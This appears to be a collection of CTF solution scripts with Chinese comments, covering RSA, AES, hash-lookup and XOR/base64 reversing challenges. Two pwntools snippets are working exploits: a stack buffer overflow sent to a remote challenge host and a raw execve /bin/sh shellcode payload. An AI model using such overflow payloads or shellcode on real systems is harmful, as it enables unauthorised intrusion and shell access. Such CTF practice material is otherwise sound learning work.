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import hashlib
import itertools
# 给定的flag模板和哈希值
flag\_template = 'BaseCTF{s1Mpl3\_1s\_BeTt3r\_Th4n\_C0mPl3x}'
target\_hash = 'e40075055f34f88993f47efb3429bd0e44a7f479'
# 可能的字符集（这里假设是小写字母和数字）
charset = 'QAZWSXEDCRFVTGBYHNUJMIKLOPabcdefghijklmnopqrstuvwxyz0123456789'
# 遍历所有可能的两个字符组合
for chars in itertools.product(charset, charset):
# 生成当前尝试的flag
current\_flag = flag\_template.replace('??', ''.join(chars))
# 计算当前flag的SHA-1哈希值
current\_hash = hashlib.sha1(current\_flag.encode()).hexdigest()
# 检查哈希值是否匹配
print(current\_hash)
if current\_hash == target\_hash:
print(f"找到匹配的flag: {current\_flag}")
break # 找到匹配项后退出循环
else:
print("没有找到匹配的flag")

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import libnum
from sympy import mod\_inverse
e=65537
c=37077223015399348092851894372646658604740267343644217689655405286963638119001805842457783136228509659145024536105346167019011411567936952592106648947994192469223516127472421779354488529147931251709280386948262922098480060585438392212246591935850115718989480740299246709231437138646467532794139869741318202945
not\_phi = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790384900615665394180812810697286554008262030049280213663390855887077502992804805794388166197820395507600028816810471093163466639673142482751115353389655533205
n = 96557532552764825748472768984579682122986562613246880628804186193992067825769559200526147636851266716823209928173635593695093547063827866240583007222790344897976690691139671461342896437428086142262969360560293350630096355947291129943172939923835317907954465556018515239228081131167407674558849860647237317421
pplusq=(not\_phi-n-4)//2
phi=n+1-pplusq
d = mod\_inverse(e, phi)
m=pow(c,d,n)
print(libnum.n2s(m))

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# a = ···
# c = ···
for i in a:
if c>i:
c-=i
print(1,end='')
else:
print(0,end='')
flag=0b10000100110000101110011011001010100001101010100010001100111101100110010011000110011010001100010001100000110001100110001001101010010110100110011011000100110010101100101001011010011010001100101001101000110000100101101011000100110010100110110011001010010110100110000011001100011001000110001011001010011010000110100011000100110010000110100011000110011100101111100
print(libnum.n2s(flag))

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import libnum
from sympy import mod\_inverse
n = 104183228088542215832586853960545770129432455017084922666863784677429101830081296092160577385504119992684465370064078111180392569428724567004127219404823572026223436862745730173139986492602477713885542326870467400963852118869315846751389455454901156056052615838896369328997848311481063843872424140860836988323
e = 65537
c = 82196463059676486575535008370915456813185183463924294571176174789532397479953946434034716719910791511862636560490018194366403813871056990901867869218620209108897605739690399997114809024111921392073218916312505618204406951839504667533298180440796183056408632017397568390899568498216649685642586091862054119832
phi = n-1
d = mod\_inverse(e, phi)
m = pow(c,d,n)
print(libnum.n2s(m))

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cipher = [
98, 113, 163, 181, 115, 148, 166, 43, 9, 95,
165, 146, 79, 115, 146, 233, 112, 180, 48, 79,
65, 181, 113, 146, 46, 249, 78, 183, 79, 133,
180, 113, 146, 148, 163, 79, 78, 48, 231, 77
]
for int in cipher:
print(chr(int),end='')
print()
for i in range(len(cipher)):
cipher[i] = (cipher[i]\*241) % 256
for int in cipher:
print(chr(int),end='')
# 或者，如果你不想使用预定义的逆元
# x = solve\_modular\_equation(y, multiplier=17, modulus=256)
# print(f"x = {x}") # 同样应该输出 x = 148

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from Crypto.Util.number import \*
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import random
import libnum
key = libnum.n2s(208797759953288399620324890930572736628)
my\_aes=AES.new(key=key,mode=AES.MODE\_ECB)
c = b'U\xcd\xf3\xb1 r\xa1\x8e\x88\x92Sf\x8a`Sk],\xa3(i\xcd\x11\xd0D\x1edd\x16[&\x92@^\xfc\xa9(\xee\xfd\xfb\x07\x7f:\x9b\x88\xfe{\xae'
decrypted\_padded = my\_aes.decrypt(c)
print(decrypted\_padded)

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import hashlib
import string
def build\_md5\_dict():
md5\_dict = {}
characters = string.ascii\_letters + string.digits + string.punctuation
for char in characters:
md5\_hash = hashlib.md5(char.encode()).hexdigest()
md5\_dict[md5\_hash] = char
return md5\_dict
# 构建并打印MD5字典（注意：这里只打印了一部分以节省空间）
md5\_dict = build\_md5\_dict()
# 注意：由于MD5的哈希冲突可能性极低（但不为0），我们假设在这个小字符集中没有冲突。
def recover\_string\_from\_md5\_list(md5\_list, md5\_dict):
recovered\_string = ""
for md5\_hash in md5\_list:
if md5\_hash in md5\_dict:
recovered\_string += md5\_dict[md5\_hash]
else:
# 如果MD5列表中包含未知的MD5值，可以选择跳过或抛出异常
recovered\_string += "?"
return recovered\_string
# 示例MD5列表
md5\_list = ['9d5ed678fe57bcca610140957afab571', '0cc175b9c0f1b6a831c399e269772661', '03c7c0ace395d80182db07ae2c30f034', 'e1671797c52e15f763380b45e841ec32', '0d61f8370cad1d412f80b84d143e1257', 'b9ece18c950afbfa6b0fdbfa4ff731d3', '800618943025315f869e4e1f09471012', 'f95b70fdc3088560732a5ac135644506', '0cc175b9c0f1b6a831c399e269772661', 'a87ff679a2f3e71d9181a67b7542122c', '92eb5ffee6ae2fec3ad71c777531578f', '8fa14cdd754f91cc6554c9e71929cce7', 'a87ff679a2f3e71d9181a67b7542122c', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '0cc175b9c0f1b6a831c399e269772661', 'e4da3b7fbbce2345d7772b0674a318d5', '336d5ebc5436534e61d16e63ddfca327', 'eccbc87e4b5ce2fe28308fd9f2a7baf3', '8fa14cdd754f91cc6554c9e71929cce7', '8fa14cdd754f91cc6554c9e71929cce7', '45c48cce2e2d7fbdea1afc51c7c6ad26', '336d5ebc5436534e61d16e63ddfca327', 'a87ff679a2f3e71d9181a67b7542122c', '8f14e45fceea167a5a36dedd4bea2543', '1679091c5a880faf6fb5e6087eb1b2dc', 'a87ff679a2f3e71d9181a67b7542122c', '336d5ebc5436534e61d16e63ddfca327', '92eb5ffee6ae2fec3ad71c777531578f', '8277e0910d750195b448797616e091ad', '0cc175b9c0f1b6a831c399e269772661', 'c81e728d9d4c2f636f067f89cc14862c', '336d5ebc5436534e61d16e63ddfca327', '0cc175b9c0f1b6a831c399e269772661', '8fa14cdd754f91cc6554c9e71929cce7', 'c9f0f895fb98ab9159f51fd0297e236d', 'e1671797c52e15f763380b45e841ec32', 'e1671797c52e15f763380b45e841ec32', 'a87ff679a2f3e71d9181a67b7542122c', '8277e0910d750195b448797616e091ad', '92eb5ffee6ae2fec3ad71c777531578f', '45c48cce2e2d7fbdea1afc51c7c6ad26', '0cc175b9c0f1b6a831c399e269772661', 'c9f0f895fb98ab9159f51fd0297e236d', '0cc175b9c0f1b6a831c399e269772661', 'cbb184dd8e05c9709e5dcaedaa0495cf']
# 使用步骤1中生成的md5\_dict来恢复字符串
recovered\_string = recover\_string\_from\_md5\_list(md5\_list, md5\_dict)
print(recovered\_string)

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from pwn import \*
context.log\_level='debug'
sh = remote('challenge.basectf.fun',31868)
payload=b'0'\*(32+8)+p64(0x4011BB)
sh.sendline(payload)
sh.interactive()

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from pwn import \*
context.log\_level='debug'
sh = process('./shellcode\_level0')
elf = ELF('./shellcode\_level0')
payload=b'jhH\xb8/bin///sPH\x89\xe7hri\x01\x01\x814$\x01\x01\x01\x011\xf6Vj\x08^H\x01\xe6VH\x89\xe61\xd2j;X\x0f\x05'
sh.sendline(payload)
sh.interactive()

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x$$$$$$$$$$$$$$
&&&&&&$$$$$$$$$
&$&$$&$$&&&&&$$
&$&$$$&&$$$$&$$
&$$$&&&$$$$$&$$
&$$$&$&&$&$$$$$
&$$$&$&$$&&&$$$
&&&&&$&&&&$&$$$
$$$$$$&&&&&&$$$
$$$$$$&$$$$$$$$
$$$&&&&$$&&&$$$
$$$&&&&&&&$$$$$
$$$$$$$$$&$$&$$
$$$$$$$$$&$&$$$
$$$$$$&&&&&&&&y

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#include <stdio.h>
void decrypt(int \*v14,int \*str,int v17){
for (int i=0;i<v17;i++){
printf("%d", str[i]);
str[i]=str[i]^v14[v17-i-1];
printf("%d %d\n",str[i], v14[v17-i-1]);
// printf("%d",str[i]);
}
return ;
}
void KeyStream(int \*v4,int \*v14,int a3){
for (int i=0;i<a3;i++){
v14[i]=i^v4[i%3];
// printf("%c",v14[i]);
}
return;
}
int main(){
int v4[3]={'X','o','r'};
int v14[28]={88,110,112,91,107,119,94,104,122,81,101,121,84,98,124,87,127,99,74,124,102,77,121,101,64,118,104,67};
// int v14[28];
int v5[28];
int str[28]={1,9,5,'%','&','-',0x0B,0x1D,'$','z','1',' ',0x1E,'I','=','g','M','P',8,'%','.','n',5,'4','\"','@',';','%'};
KeyStream(&v4,v14,28);
decrypt(v14,str,28);
// for(int i=0;i<28;i++){
// printf("%d,", v14[i]);
// }
for(int i=0;i<28;i++){
printf("%c", str[i]);
}
return 0;
}

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// 一个字符有8bit
(unsigned \_\_int8)v15 >> 2 // 第一个字符的前6个bit
(HIBYTE(v15) >> 4) | (16 \* v15) & 0x30 // 第二个字符的前4bit和第一个字符的后2bit
(v16 >> 6) | (4 \* HIBYTE(v15)) & 0x3C // 第三个字符的前2个bit和第二哥字符的后4bit
v16 & 0x3F // 第三个字符的后6bit

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flag = "lvfzBiZiOw7<lhF8dDOfEbmI]i@bdcZfEc^z>aD!"
secret="/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC"
flag = list(flag)
for i in range(len(flag)):
flag[i] = ord(flag[i]) ^ 0xE
for i in range(0, len(flag),4):
a1=secret.index(chr(flag[i])) # v15 前6位 为00111111
a2=secret.index(chr(flag[i+1])) # v16的前4位和v15后2位为00001111和00110000
a3=secret.index(chr(flag[i+2])) # v16的后4位和v17的前2位00111100 00000011
a4=secret.index(chr(flag[i+3])) # v17的后6位00111111
v15\_1 = (a2 & 0b00110000)>>4
v15\_2 = a1<< 2
v15 = v15\_1 | v15\_2
v16\_1 = (a2 & 0b00001111) << 4
v16\_2 = (a3&0b00111100) >> 2
v16=v16\_1|v16\_2
v17\_1=(a3&0b00000011)<<6
v17\_2=(a4 & 0b00111111)
v17=v17\_1|v17\_2
print(chr(v15),end='')
print(chr(v16),end= '')
print(chr(v17),end= '')